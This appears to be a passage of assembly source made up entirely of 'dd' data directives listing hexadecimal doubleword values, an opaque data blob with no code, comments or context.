		dd 77160CF0h, 0D4A82058h, 7E8D3E8Ch, 0C436E288h, 6440B564h
		dd 0CA917E81h, 0DC54B800h, 86D8E207h, 3F9401F6h, 0A885CFE1h
		dd 0E10241Ah, 3724B300h, 7B516E92h, 2ACA0761h, 51F65769h
		dd 82D6A703h, 42FE2459h, 11E868A5h, 0F549EBh, 0BED65860h
		dd 0BD7F6667h, 30A8194Ch, 0A66B39D9h, 56C82432h, 0AE1EBC00h
		dd 0F5830ABAh, 0B5467CC4h, 71F31300h, 85E0CBC6h, 0C0B14509h
		dd 743C84D5h, 8A096260h, 0FE674810h, 0E480F5C8h, 0F926105Ah
		dd 529500C1h, 0B5EF2BCAh, 5402A607h, 3811D9FAh,	15202E46h
		dd 0CCB720F2h, 0FC52D898h, 0E2450080h, 0AA53FE1h, 40390024h
		dd 1CF3DBEEh, 0A37C125Bh, 78285E1Fh, 4181069Fh,	9318ABC0h
		dd 2AFC34h, 219DB6BEh, 37A3D7DBh, 0F533A500h, 6C355A8Bh
		dd 27B32CF0h, 23DE8F74h, 0F8FF59E0h, 0B100CD18h, 4CCB0842h
		dd 0DB1E91h, 0F45763A7h, 70C70E8Ah, 3D93E4EFh, 6F1BEE00h
		dd 121AA9A8h, 0EF441274h, 53CE0040h, 0D4397D85h, 3A789FFCh
		dd 261C3Ah, 15628A78h, 5D9A7787h, 0A7033828h, 82F796A6h
		dd 4F7CDBD8h, 0A8200407h, 0BF30274Ch, 110FF3h, 8B197958h
		dd 0FDCC568Dh, 0D092967Fh, 2DC9D00Fh, 5850A070h, 632B924h
		dd 284CA6B8h, 0AA018129h, 0A33DBA92h, 0F1FC2C0Fh, 8054B0D3h
		dd 73FE7E4h, 5C3ECF16h,	0E4EF0D7h, 92078B08h, 9C55FB13h
		dd 0A0FAB520h, 6DC00EEh, 496D794h, 3126D2ABh, 1002A775h
		dd 604192FFh, 0A8163A39h, 0F728A0h, 0ABF23CC9h,	0D994459Ch
		dd 0D931A00h, 9E17C4FEh, 23C910FCh, 8D830139h, 0DA625DBh
		dd 0EF47418Fh, 0B7D5FA21h, 0CEEF30D8h, 0B310C80Ah, 2300E0F1h
		dd 0C3967E86h, 51EA1F2Fh, 599FC02Eh, 0CD1A8792h, 7C1CC40Fh
		dd 0F29080BAh, 54BF4E8Ch, 0BB80DEh, 37C1A53Bh, 34881762h
		dd 82905D3Dh, 7B7678B7h, 80C082CDh, 0E3A0A0B6h,	185FD9C9h
		dd 81CF21F6h, 8A0FF502h, 810AD406h, 7BE29EF4h, 0A682E05Bh
		dd 40F478h, 0A017232h, 0F8545C0h, 81803086h, 0FF65FCF8h
		dd 0B307C969h, 0CD3EA281h, 64D4D800h, 809B0098h, 0DD30A779h
		dd 0CB745796h, 7E00F0E6h, 0CFB128F7h, 68E4C5h, 56201A18h
		dd 0C848EA16h, 0FD74DB07h, 3491E931h, 4A30B7A6h, 0FFB90068h
		dd 0E3C7DCCBh, 0DE007BAEh, 10A4CE9Eh, 0C784D31h, 0B46E1958h
		dd 650A871Ah, 8F77AE54h, 0FE5D803h, 47BBF8A4h, 7B4670B8h
		dd 9E8D3D32h, 4044CD03h, 0EC8075F1h, 21122963h,	0D6E81B01h
		dd 20D83318h, 0B9E0CBACh, 0D2F34500h, 0F2D0AB1h, 0CC92209Fh
		dd 78756413h, 33E19100h, 5E63B4D4h, 38BAC0C1h, 7E390EBAh
		dd 8019BA84h, 1411BD10h, 0C0E134C7h, 57E3D160h,	9100B416h
		dd 5405EFCh, 0CC4749Ch,	4B1A0D19h, 0D1B07DA9h, 93354F03h
		dd 0D0CBB683h, 0E475E0Bh, 0D59D5DBEh, 3045FCA0h, 0D005CC93h
		dd 0BDC62131h, 462C2038h, 6CCC015Ch, 91550DC6h,	2920D880h
		dd 0AD7E7916h, 0C51D40E2h, 3218ACD0h, 211321h, 73868816h
		dd 0B4F24553h, 9188D550h, 9476AC00h, 62D1302Bh,	81573395h
		dd 21389F08h, 0FF00FB8Eh, 253C790Ch, 3AC67E6Ah,	9E2948A9h
		dd 1A5F00ACh, 350F767Bh, 51AEB403h, 14691D0h, 7452F480h
		dd 0A1404521h, 187C0491h, 10ADB49Dh, 6D26CE39h,	0AB00E831h
		dd 8CC189F1h, 7B830043h, 0BF649D5Eh, 391B4758h,	8C295AFDh
		dd 1284E221h, 59C71060h, 6D08C389h, 0CB1C2284h,	20441722h
		dd 0FA01EF67h, 9456BA83h, 1FECAA2Fh, 2DA92DADh,	893E4F7Eh
		dd 2EC2F2h, 0D7295EF9h,	761D07ACh, 0BED857EAh, 7DD654h
		dd 0C28FFF2Dh, 930979E6h, 2E36F600h, 8C7BEE4Ah,	6D87E5Ah
		dd 297C1673h, 0F20C3818h, 480F31D1h, 9C2D003Ah,	5CF0AF0Eh
		dd 6800082Ah, 0A2B4AC01h, 22C465h, 393136E1h, 4CC3B4Fh
		dd 8701F4F8h, 9C3316FBh, 1EF418B9h, 0A60101D8h,	3F084959h
		dd 119AF4D9h, 9300C171h, 24CF38BCh, 0FE65BFD6h,	0A3C40209h
		dd 0AE121785h, 5C16CC48h, 2291A80Fh, 72FA0DAh, 0F9A045h
		dd 1B7E7ACCh, 2B1C8E98h, 79518B00h, 2753E2B3h, 7A3E07BFh
		dd 0CE9B3D3Bh, 0A5C4C700h, 6E0011D5h, 17715722h, 8D5EF6h
		dd 8AEDAAFCh, 0B66F4CB3h, 0E1284B09h, 32100042h, 7DC36F4h
		dd 4EACE546h, 0EB780379h, 0FA64E3F8h, 2C331800h, 307EF8FCh
		dd 3419072Ah, 6E3D8659h, 0C238FE80h, 99000A54h,	16BE33BBh
		dd 281A60h, 0C76F44ABh,	0B226B943h, 80041B3Dh, 59ADA64Eh
		dd 98570Ah, 3EC29914h, 6BE17F7Bh, 926DC800h, 0EC9B6822h
		dd 94520C0Fh, 9760C63Ah, 0C0350E4h, 12CF2523h, 7855E8B2h
		dd 0C77D0F56h, 0ABA007F1h, 6F11E2FAh, 5A68790Ah, 0CE07E0CBh
		dd 0CF434998h, 4E7D54h,	0C9416445h, 66F6AAEEh, 50004DE8h
		dd 5CEFF3D1h, 1FFF53h, 9EAE4B87h, 0C96EEBA9h, 4500DFF8h
		dd 846A58C3h, 1C60E207h, 0B60872h, 0EBD2CD6Ch, 4B3F9F79h
		dd 0D8007975h, 33F65CF4h, 75D997Bh, 8846CD6Bh, 3F2130A0h
		dd 4A1E0585h, 0D45E6F12h, 791CAC00h, 4F54415h, 0A2EFD921h
		dd 0D6688090h, 7800B5A5h, 0BE09D8FFh, 62E8294h,	0C05ADE8Eh
		dd 0BA60C0FAh, 0E52D0E40h, 1E0EC68h, 0D2B4B236h, 0C0D551B5h
		dd 0BB729833h, 9CBFCD3Ah, 0D0409062h, 7231B8E4h, 4D8F007h
		dd 0AA17865Eh, 0CD20D0A1h, 0C309BBE5h, 753545h,	83F31524h
		dd 0A110122Fh, 0AD4F0059h, 6C74D560h, 0A9AEB903h, 0C1775FFFh
		dd 0DC40EB38h, 1009C5h,	0DE9BF7F2h, 1B022A8Ah, 61D640Ch
		dd 1A8D6h, 99AA7A05h, 880A534Dh, 57CA9D00h, 0BBF73CF5h
		dd 0B56C236h, 0FA80E240h, 0D2D81F45h, 0AE4FE61Fh, 0CF8AB24Fh
		dd 0D792E065h, 7CC064Dh, 0D2028F37h, 89E5600Bh,	0FF014ADAh
		dd 65AFF4E1h, 63E21664h, 7885E890h, 0F8A1032Ch,	9E583428h
		dd 0DD24BC8h, 413B3500h, 1D55B788h, 544C00C5h, 26199606h
		dd 46045039h, 0CE9DA35Dh, 485628C1h, 0FDD7C0C3h, 0FAB309A6h
		dd 0EC0018D6h, 0A9A5BB92h, 0C922FB01h, 0E6ADE893h, 0E551DCCh
		dd 3239C04h, 596C6660h,	0AB005C45h, 36FD0F67h, 0C9219Eh
		dd 0A5DEB51Fh, 0B6648954h, 89A97B3Ah, 89ADAE07h, 5FDE18h
		dd 8349442Bh, 0F301AC63h, 0E9D6A398h, 0C7F864B7h, 0B8431DC8h
		dd 0A63341E8h, 0C89EC125h, 0E4774B69h, 0ACE09600h, 36DFD5E7h
		dd 0A42381Fh, 0FCA6AF80h, 61FB546Fh, 0A49FE23Bh, 0C5171620h
		dd 322F2A00h, 77639Ah, 0AEBF4C8h, 1D19A3B3h, 7A3D571Eh
		dd 16B4F00h, 162345Fh, 0C866BCA1h, 20DF0597h, 8D0ED92Eh
		dd 40EC29BBh, 9E8ED37Bh, 969700E6h, 0B62E9863h,	0D7005DFFh
		dd 54872FE4h, 0FC076A6h, 4A9B03A5h, 6F6CEA0h, 0E0E6124Fh
		dd 2C3AD703h, 0E8DF6555h, 3FDBAD8Bh, 16800864h,	9F9B5F99h
		dd 33603E6Bh, 51AB5E30h, 1647B05Ch, 0FF4A7C94h,	0F77D6C00h
		dd 0B1F569h, 41AB0DBh, 7A02C037h, 3005120Ah, 0EC9F8C7Dh
		dd 0A0E83ECCh, 0E73D0125h
		dd 8EFC375Eh, 0B470D865h, 0BBB11800h, 0FA30D0C1h, 17C01C8Dh
		dd 41020021h, 0F774CA82h, 2A28CE00h, 48FB673Dh,	98BE00E0h
		dd 3463C8ADh, 0B00703Fh, 0A42D1E44h, 7116A001h,	71407F7h
		dd 23673141h, 0AB90E41Fh, 0C83BE89Eh, 0AC248019h, 0A3CBA8AEh
		dd 60DE0480h, 8090EFC7h, 2DD276E8h, 67737501h, 39B01CB6h
		dd 70CAC020h, 5BE8006Bh, 38420CFCh, 9CF8659Bh, 0E3EC130Fh
		dd 0E759604Eh, 0C4F72Ah, 4A833578h, 742310FCh, 58307F0Ah
		dd 0BD00E06Fh, 1809DDEBh, 4BDC00F6h, 68F2DBB0h,	0C007977Eh
		dd 2B1DB95Eh, 0EC60B261h, 201E30h, 3E160922h, 644B5CC1h
		dd 23DA0200h, 83DF2A1Ah, 3C750BDBh, 0A9F07CD8h,	418F0100h
		dd 439019F9h, 2CBF395Fh, 0A3002BD8h, 3AC09249h,	0FC00A7A9h
		dd 1FEB6C51h, 0A093395Eh, 5C7BA580h, 6A057CD9h,	0C08B38C5h
		dd 39E67010h, 2F017F73h, 0A482B1A0h, 0FC24426Fh, 64E400A8h
		dd 0A57384D0h, 0F100DA9Eh, 5C4ED731h, 3A995719h, 0A7802BF6h
		dd 1295EA9Ah, 28BAFB77h, 69391C00h, 74E0C0DCh, 0A0D02626h
		dd 0C49680ACh, 0F9ECF43Ah, 0F29C8503h, 0E8FDA524h, 5D0EBD56h
		dd 0A040CD3h, 87933A70h, 753EC050h, 0FA004247h,	6913F76Fh
		dd 58F3709Ah, 0D500A843h, 0B8B5BC56h, 61007E99h, 1FC48624h
		dd 4770C6h, 0B6877D4Eh,	0FAE3CA80h, 2C4872FEh, 0D49035Ah
		dd 9F02FBA7h, 0E0D3D594h, 0DA85E89Ah, 3ED607B2h, 909D69E2h
		dd 7CBC3C4Fh, 3BB3A900h, 0A401D3CBh, 0F9EEB1h, 6F3073C8h
		dd 1761D5E0h, 0E34F025h, 2964CF40h, 6E220082h, 0F903Eh
		dd 45D66371h, 8C06109Fh, 0C5628CA8h, 19F33B00h,	0A4CFF7EDh
		dd 0B173B3h, 468E9D92h,	4179622Dh, 30CBB530h, 1FE62249h
		dd 5D08Ah, 533113F9h, 9D0F21A9h, 204CFB82h, 34D292DFh
		dd 713800BAh, 23AE79DDh, 0EB00ADC8h, 5F74A1BDh,	0AF92CFh
		dd 1B41A222h, 30D48A47h, 0DCB73300h, 44C6A4F2h,	13E655h
		dd 0CD968C3Ah, 0C962CB26h, 3B6C852Ch, 415E300h,	0E7A256Fh
		dd 30932BB0h, 73B30Fh, 0B70229E0h, 360382D3h, 0F526ABBDh
		dd 1571995Fh, 3AA2D0h, 3F447247h, 8C1D1325h, 80706F38h
		dd 0B5316A9Ch, 0BB23E2Ah, 6509FF24h, 1C552780h,	2D00C241h
		dd 44C1F5D1h, 70F8EC43h, 0DC890C0Dh, 72480BAEh,	19304000h
		dd 845D28A8h, 68290252h, 45CEFEE5h, 3E9170A0h, 1D0F7915h
		dd 0E02949A6h, 0B0811A1h, 6788Fh, 1C6E4C27h, 0FF1FCFA8h
		dd 0CA41B10Fh, 11A0C1A9h, 7A816787h, 0C82418C3h, 4038FBA7h
		dd 20228089h, 39EBA3A9h, 0DB073F1Dh, 0CE58BE1Fh, 0B260D97Ch
		dd 0D76A24C0h, 0FCC9AE00h, 7956D014h, 93B901CAh, 7F1C6506h
		dd 80ADD56Ah, 0C9D47E4Eh, 15E8C4Ah, 5524666Bh, 0F030C82Fh
		dd 92005BD9h, 0C4B11B23h, 0F5D173Eh, 0E94AE160h, 2EAFD580h
		dd 2043610h, 52453DE2h,	3024D080h, 0FBEA00FCh, 2F9AD8EDh
		dd 951C78BAh, 0C2807735h, 0EFF2745Ah, 843704D4h, 8326ECD2h
		dd 0F690166Dh, 990769B9h, 4AE2E098h, 9C575900h,	0ABFCD7h
		dd 6C825C8Eh, 494C084h,	0A870EA00h, 1FC3279Dh, 3474ACh
		dd 0A4C13786h, 0A12B05FEh, 84C5F500h, 13817AFh,	0ECE6B7h
		dd 5819278Dh, 0C63C4BB3h, 0C5FC8800h, 0AFD8FBDDh, 7CD4016Ch
		dd 0E49A4E46h, 648EE8CCh, 99016EF2h, 1CD7EE91h,	63E44FB8h
		dd 0F40C0051h, 7A29D368h, 0DC01EC1Eh, 7B214445h, 3CE924DDh
		dd 9AFB60h, 0E8831626h,	2881924Dh, 0C000AEF4h, 0F9D098D6h
		dd 3030623Dh, 0E618D55Ch, 66007964h, 9CD88AADh,	0FCB7B168h
		dd 224603F1h, 0F38D3607h, 0D5585B0h, 0B860370Fh, 0B0D520B2h
		dd 2C745B1h, 4626D68Eh,	0C560DA71h, 0BA00827Ah,	531F1BCAh
		dd 0F99D3Fh, 0A6B005EBh, 5ABC946Dh, 0BB1D3Ch, 0C879B684h
		dd 0EFC708Dh, 0CFF6385Eh, 0C6F88C20h, 0DF00925Ah, 7DB9A751h
		dd 7F664Eh, 2CEC1D76h, 7871AAC0h, 6532D600h, 5F5A6F17h
		dd 0E5DA032Fh, 0AC11B646h, 88B133D8h, 26BB000h,	0A6C9C784h
		dd 1EEB0067h, 0B4CA811Ah, 7C4A6D83h, 2D0B27C0h,	15921E9Dh
		dd 855500FBh, 8C53643h,	97EF6003h, 0F71496FDh, 0B9C73FF0h
		dd 0E6E00092h, 183CE944h, 8C1C4B9Eh, 9580481Dh,	8F2AD09Dh
		dd 207F0370h, 0EA4985A4h, 4C183803h, 0D8E08433h, 0BDE3FBh
		dd 7A2307F0h, 919A0450h, 9F000AECh, 1F47EA31h, 3A956294h
		dd 0D3017717h, 27FEBDBAh, 0A1B3E060h, 548B3300h, 0E52D05CCh
		dd 88B60089h, 0E1D05891h, 7F00BB32h, 974F9C49h,	0D60CF2h
		dd 55B97A4Eh, 88A6C8C5h, 4CE3100h, 0E466BB3Dh, 0D87700EDh
		dd 3BCA761Dh, 0D00C4FFh, 0F654D682h, 3C0A974Eh,	8900C859h
		dd 3A129432h, 0B40026BAh, 0F4C1F6D0h, 72A2AA6Dh, 840D041Fh
		dd 90FBD16Eh, 0B03A1DF8h, 0BB06077Bh, 0C491F5B6h, 16240A18h
		dd 0AAFE57h, 80645205h,	9A009FD5h, 34D35DFCh, 98B8541h
		dd 0D126D0C9h, 0C8AEBA80h, 0B400EDF1h, 97510870h, 4F5C9E1h
		dd 0E85E451Fh, 791080E2h, 0E709D38Bh, 7B4F675h,	0E3AE07F4h
		dd 0B3C572h, 3D82BA10h,	103C20D7h, 31094107h, 0FF9D301h
		dd 338304Ch, 0E602540Fh, 0FED4BAE0h, 0CB18EE30h, 0E8189189h
		dd 0CE880003h, 0EF29A7C0h, 96004C5Ch, 8F1E5E11h, 0FCB134Eh
		dd 0B9EB957Ah, 1FB30740h, 9D07D9BDh, 0FB19AA51h, 24F8A80Ch
		dd 125702h, 7C9B058Fh, 2F00ED35h, 2CEF2E72h, 6AE6142h
		dd 85B2B4B0h, 0FA02C0ACh, 79FBFCC2h, 49FC8086h,	366ACDh
		dd 7E3339B4h, 75A8BCF5h, 9E44ED1Ch, 5B005F92h, 6B771093h
		dd 0FD5B3EA0h, 0B6CF0078h, 0DA82CB73h, 4B1C92D6h, 0A7CE2694h
		dd 9009A04Ch, 90D55155h, 0F0F40270h, 0F3C21DD6h, 0EC229241h
		dd 0EA00A307h, 0E374C8EDh, 0C0B110h, 7F8540F1h,	82C1D5CDh
		dd 0F0DB7326h, 0FFE0C500h, 74793Ah, 6A06F6B7h, 6E5F8C4Eh
		dd 0C1C86D00h, 382E8AD6h, 0F821002Fh, 407E8314h, 0EA78A451h
		dd 0A937270Fh, 5D6A6096h, 98896CBEh, 0AE410024h, 7A544C04h
		dd 5B00E1F8h, 0A04709CBh, 0F0EB4Fh, 751CD178h, 51AD3B30h
		dd 3600F4EEh, 0B44147D3h, 0E7E666h, 5276C608h, 0D1ADFC5Eh
		dd 0CD00F976h, 1B1DDA70h, 0CF6220h, 0BE2D8A3h, 0D1AC3A80h
		dd 7DF12B01h, 1F9B9515h, 0C0D3FCh, 4E4AE6A0h, 73EB6A4h
		dd 1C8D8007h, 4290F316h, 902B51D0h, 45670020h, 0FBB9F963h
		dd 5CB03383h, 5E07D303h, 313462h, 97727910h, 521926ADh
		dd 65744F00h, 563EA77Ah, 6F181E3Dh, 92006430h, 83C43180h
		dd 0DAC020B5h, 9080C241h, 687FBA55h, 0C407BC7Dh, 393BB5CFh
		dd 9A80D495h, 9615760h,	8AE401FAh, 9359BC80h, 0F3008464h
		dd 90C87503h, 3D8F5D4h,	381D99D2h, 52009245h, 48C9EAC2h
		dd 2EFBFDB2h, 9324A6h, 0F034BFF3h, 0C4007436h, 0B2DE938Bh
		dd 0F62353C5h, 765F0ED4h, 3A206338h, 0AA2D73BFh, 0E0A0500h
		dd 9F557A40h, 26780047h, 0E5AC5698h, 0E9C6750Ch, 30C721h
		dd 0EDCC4CA0h, 4246BE2Eh, 9F664100h, 74C407EAh,	17D40058h
		dd 0CEB53DC0h, 773EF72Ah, 8A48805Bh, 0ECC25C7h,	0D1520473h
		dd 0C0E20589h, 192E5A70h, 0F1EDE05h, 0D883EFB0h, 0B530D792h
		dd 5BCFEh, 0A1D9919Fh, 0C3B4CCD5h, 4C743700h, 4DF5249Dh
		dd 31360039h, 79030C61h, 9B0955EAh, 2CCB318h, 0E01B3CBCh
		dd 4C4C3E84h, 0F2036C07h, 0CFBE3D7Fh, 84D2C09Ch, 9C00E1DAh
		dd 0DE2E2855h, 77B4Eh, 72437432h, 0BF2D4C91h, 0AA0E7E60h
		dd 79EDE3h, 17A25571h
		dd 0E2BEAFD7h, 25511300h, 0D5EB26A0h, 7B0403DFh, 4F761EC0h
		dd 3CC027DBh, 2600520Dh, 0A285726Ah, 5C35867Bh,	64004597h
		dd 1098CE25h, 0B31F7ABAh, 5A802EC8h, 803C881Ch,	0B978267Eh
		dd 753C90h, 0B8CC6F5Fh,	0A06793D7h, 0C246BA00h,	7F1AE6FEh
		dd 30853F01h, 0FEB9D85h, 9B08007Ch, 6EE5D9DDh, 1C929858h
		dd 1502F4EEh, 0C0EAAF28h, 1CDFFD8h, 54FE3FA4h, 0BE8A6FFDh
		dd 5C090070h, 959F3584h, 970A3ACCh, 6606CD3Ah, 99AC3E31h
		dd 0CA5E331Bh, 7C77C030h, 78D01D8Ch, 6CDB0C9Ch,	0FB0537BEh
		dd 0B7866932h, 4B5E2681h, 0B509208Fh, 65F33E5h,	18A47920h
		dd 0AC06F574h, 8FF1D9D3h, 0FC150068h, 8AC57EA8h, 0A418FA85h
		dd 0BD4008D7h, 0D29501B8h, 75F54738h, 6BBAE440h, 18466900h
		dd 0F7886D43h, 1E25Ah, 21781DF0h, 89B299AEh, 506BB513h
		dd 0DD8B0800h, 102E860h, 0A272FFF7h, 0E4AD3C95h, 9000F4B7h
		dd 2C6D92B6h, 0F35BC416h, 79D7B180h, 61B97477h,	0B1048D19h
		dd 0A0C00E19h, 4E710007h, 2FB683D5h, 151870C1h,	787E7BDEh
		dd 0A60603E1h, 1B74E35Fh, 0FEDA8080h, 0CE4B330Eh, 8D326030h
		dd 2641DBA2h, 1345306h,	9405D960h, 32626059h, 56845D00h
		dd 2FEE3D8h, 0D2C8A8AFh, 0FD521F06h, 3112407Ah,	33FF830Dh
		dd 59085D00h, 7E30D284h, 94CD0C8Fh, 0B6B07D75h,	59EE7B75h
		dd 9211B560h, 1273A048h, 407CAB9Bh, 904C6308h, 8001A91h
		dd 515FEC7Bh, 185BD6Bh,	0BAC662E0h, 0C8C3DDB1h,	0F50E1C27h
		dd 8014D312h, 26BE3863h, 3607A94h, 3C2FD9FFh, 1129F961h
		dd 615F04FAh, 80180465h, 8D409810h, 391E14h, 127B6E3Bh
		dd 381C19A7h, 8A659100h, 0EBFA83C3h, 2990E966h,	446188C7h
		dd 0C42E23AEh, 446FF344h, 524878E6h, 2294CF42h,	76226B5Fh
		dd 0C0B6224Ah, 0E0780403h, 1843EF6h, 72DF5507h,	0E03FF7AEh
		dd 0F038430Dh, 67E083A9h, 808B5D91h, 300B38h, 97704EFBh
		dd 1D5A2CF1h, 0C74FE801h, 189A0EF8h, 7EAD95D8h,	0BDD5026Bh
		dd 6589C949h, 56E74D60h, 0A1110800h, 1EF66B94h,	37FD00B4h
		dd 0AD2C24F2h, 1900EF93h, 53D90EB2h, 0FBA6488h,	0C25234ECh
		dd 0C2B8F40h, 0B706955Bh, 168905F5h, 0A76E0311h, 7431688Eh
		dd 86E0B0E0h, 7A3C8A04h, 5C9053EAh, 0F27F9682h,	1EE4EABDh
		dd 809BAD19h, 433145BBh, 4B00BA09h, 3F8026D9h, 0C1F3AEh
		dd 0DEF1FD36h, 0A5831D4h, 8C6CA600h, 0E50DE12Dh, 64D01E7h
		dd 8D168C9h, 0BC7BF48Ah, 3F255900h, 0CEB1A075h,	0CBE2E4h
		dd 1577707Ah, 0B54CBD69h, 0A138E900h, 0CE24D91h, 0F3720055h
		dd 42E564F2h, 0DA1DBBA9h, 43C11ED1h, 9B7CB065h,	466036FDh
		dd 1BD7034Dh, 79516D02h, 0F4B2AAC1h, 8FFEEE07h,	521D8000h
		dd 0E40D175Ch, 7B650055h, 9BF1299Dh, 0A3FE19B8h, 0CED8C500h
		dd 6F36712Dh, 0A22C005Bh, 99B6E755h, 4407C3F9h,	56069773h
		dd 0D5A17287h, 43D4259Ch, 389D007Ch, 8A5351FDh,	61030268h
		dd 97368E4Ah, 5FD00003h, 952C6A82h, 4003C894h, 0E31E4A27h
		dd 46C2C07Bh, 2378008Eh, 0A495023Ah, 8C006210h,	0E6D34DA8h
		dd 67C76Dh, 0BC5C91B5h,	0FCE282EBh, 2F63AC0Fh, 6EFE6126h
		dd 0C60865Fh, 0D9182C62h, 7F4B00FDh, 44417449h,	43822C01h
		dd 0CDD4EA38h, 36C5D0h,	312DC93Dh, 854EFDCEh, 46E438h
		dd 2187C46Eh, 5F4476h, 0C726534Fh, 66C03858h, 390EA2F4h
		dd 40037AA1h, 0B64B4DAEh, 873001Fh, 6EC65335h, 0AC008388h
		dd 7036E94Fh, 3ADB07h, 61331FF1h, 0C49A727Dh, 0D8A1D528h
		dd 63141500h, 79B47B9Fh, 5661FB35h, 0F64288DCh,	0FAEB78D2h
		dd 231500D4h, 6758F244h, 0D773F025h, 0A2A4E0Ah,	0E807DCD3h
		dd 65106442h, 3897441h,	0EA8BE26Bh, 0FA980E1Fh,	38C05CF7h
		dd 0C28D9AD6h, 66EC0024h, 0FDA5A742h, 0AB004E4Bh, 9BEEC3E1h
		dd 770BB48h, 0CB06E99Eh, 94B2602Eh, 2F1D1583h, 52815B21h
		dd 285C8DF2h, 0C01020h,	673CF759h, 6538D9F4h, 540B1490h
		dd 0F9CF4Bh, 813DEB8Dh,	2D18C064h, 17F2E870h, 51506800h
		dd 5866D452h, 0EEACA0BAh, 0EEF7E12h, 0FB166D8Ch, 24008DCFh
		dd 0F1D12C7Fh, 14909500h, 0C46BD789h, 347E1D65h, 859F003Fh
		dd 1D390151h, 965A541Fh, 740C3A40h, 0B781C2h, 0A61AA73Ch
		dd 52273307h, 0BF632001h, 399B343Eh, 7D869F4h, 0D27C62F9h
		dd 445F83F0h, 0E8A0A682h, 0AB81274Ch, 8CC2201Fh, 36EFF340h
		dd 86C967h, 1A3B97EBh, 9CE0B46Ah, 0ED172F00h, 53A3207Bh
		dd 0BD21045Fh, 80261338h, 0EA4BD6A8h, 0D39ECD00h, 99C6E59Dh
		dd 0C37FC7h, 0ADBE1C47h, 63D65C81h, 4CC5F900h, 4A25E067h
		dd 537E1498h, 8600F213h, 0C106C0E1h, 0D7095515h, 8F7B6107h
		dd 6A3DE08Bh, 0EC3C1441h, 978301F2h, 50780C15h,	0D8A7F846h
		dd 0EB48260Fh, 57026081h, 0E4B9DE3Ch, 8DF4EBBBh, 349200EDh
		dd 4EA3A541h, 39E89815h, 2185FF00h, 6F1B5A7Ch, 7238005Dh
		dd 0E1CB6925h, 62000748h, 0A3318E77h, 0E6A78712h, 825E03D7h
		dd 7093CA04h, 782741B8h, 14E12800h, 296FFC55h, 15C90053h
		dd 76B24EC1h, 1900F9AFh, 0DD95243Dh, 38758086h,	78806C71h
		dd 37EE58ECh, 8901FAD4h, 0AF454F28h, 99C1B5D2h,	0FA26CBD8h
		dd 3C8F7D15h, 49036B5Ch, 81C96E5Dh, 927D3001h, 4D707FFh
		dd 1F45F8h, 375F08DAh, 8B36E4C5h, 315D2A00h, 0A4264346h
		dd 86DF001Ah, 0BF873A47h, 270152ADh, 5F9FDA7Fh,	40F875FBh
		dd 5890ABh, 665E68D6h, 333E7434h, 54D3D402h, 40614DC7h
		dd 7BD63A85h, 2DF4FD5Dh, 7946004Ch, 7CE771AEh, 41030959h
		dd 0DEA27F75h, 6C339894h, 588048DAh, 2E52DF00h,	2326AEE8h
		dd 4C593400h, 0C4FA62D1h, 3EF50057h, 1A74DB36h,	4B0018AFh
		dd 0E267B597h, 0B1BE92h, 0DD413D6Fh, 477E4ABAh,	4BB391Ch
		dd 24A38EFEh, 9900DE13h, 0D0CF8976h, 41CC0FEFh,	9D807F64h
		dd 0CB329508h, 0F2499100h, 0E6FAB43Fh, 41B7077Dh, 60DD2AC4h
		dd 4F406F8Eh, 7AE52500h, 0DE5B130Eh, 4E060034h,	32F4F64Ah
		dd 0AE04FD11h, 8FC15447h, 0E84F2480h, 0A04003Ch, 0FD754C1Ch
		dd 6B017913h, 7CD48665h, 0A2DC397Dh, 0F41C0FE9h, 0BC010D3h
		dd 76A623D1h, 75FFC300h, 5BD74C45h, 0A7470266h,	285E9560h
		dd 0EFC61C40h, 43E46800h, 664FB8BBh, 6718C025h,	0CA026B0Eh
		dd 0CE0EB8B0h, 403F5B43h, 6F7D44DAh, 0EFDF0D09h, 80A68720h
		dd 86FDA1A8h, 2843AE0h,	516FFAD3h, 64C00B0Ah, 0D776C747h
		dd 14FD4101h, 186E8650h, 7FD66880h, 0EB73E2B6h,	0B0321C02h
		dd 0C0C3ECF4h, 1F27E134h, 40F97436h, 9A2B618Ch,	5E00A34Bh
		dd 1640F145h, 0C0AAA527h, 111F8B11h, 0E77A9CC9h, 3E5DB00h
		dd 73BBEFF8h, 4835705Ah, 9500D569h, 8CB88546h, 0C4FFE6F6h
		dd 343EBD30h, 1EAE807Fh, 0A6CFE318h, 0A1B60021h, 0E7828DFCh
		dd 20009D4Ah, 0BC31B381h, 3B46B0FEh, 0C100729Fh, 2F3364E4h
		dd 0A11BC58Bh, 0C896DF11h, 0F0F3E80Fh, 7790A092h, 5798000Dh
		dd 4A2B8332h, 7D097A50h, 0A789BFA0h, 49D01F14h,	9F1CECh
		dd 0D66FB3CFh, 0CC82FCA3h, 1660B900h, 790220C0h, 847D09ECh
		dd 88738C7h, 4F96222Dh,	8ACABC60h, 63F4AA00h, 0A9297E7h
		dd 0C7A60044h, 0E9B8950Dh, 43E65C5h, 0ECCD81ABh, 22CF9AE4h
		dd 43E430h, 21338551h, 741F3FF4h, 0B91BAF00h, 0F9A82516h
		dd 4104C36h, 0BC9BC100h, 22CD0F14h, 7ED6A00h, 0C9766075h
		dd 8FA00EFh, 6B16389Bh
		dd 0B014377Fh, 809591h,	0D70A88F7h, 3AA037Bh, 0FFFDD1F5h
		dd 0A0C35520h, 89F23A8h, 9A6CC91Dh, 0EF2A4C80h,	8B0A58h
		dd 0E0384B02h, 80534198h, 0FD6EF902h, 3334705h,	539C3EADh
		dd 38B53C20h, 0BDBE2483h, 0E492008Ch, 1B9F7832h, 8644A607h
		dd 0B0309661h, 3FB4AACFh, 0CD030AA0h, 0EDA6AD68h, 0C528A0A4h
		dd 0AE000E7Eh, 0EFD82AC3h, 9576E3h, 0C93C63CBh,	0D7583E1Fh
		dd 15E6FD00h, 0FCFFBFEDh, 26F300F7h, 44BB6CEFh,	6780ED4h
		dd 0BC59A5Ch, 89AD58A3h, 46F700E7h, 1649009h, 0C5B6323Fh
		dd 8EBC6528h, 0D0F1B0h,	0A2A67731h, 198CFA1Bh, 7841DCBBh
		dd 5D9A8F58h, 52648171h, 0C07B9716h, 0B15A0C91h, 2711C460h
		dd 0E2A9F7B6h, 79C100D7h, 94A2D871h, 0BDEEDF9Dh, 933B1200h
		dd 615FB6FFh, 0AFF0248Bh, 97F700E4h, 2C5D3F7Fh,	446ADA0Bh
		dd 0A7BC8033h, 0B8FC3BBCh, 0BF4F0091h, 0CF7D3D80h, 0EB6F953Ah
		dd 0C56BA0B8h, 0F3B206h, 5DEDB44Bh, 5463B898h, 0C253A400h
		dd 7680ACB0h, 0E7123344h, 9D983564h, 9E4CA0DAh,	741C4CA2h
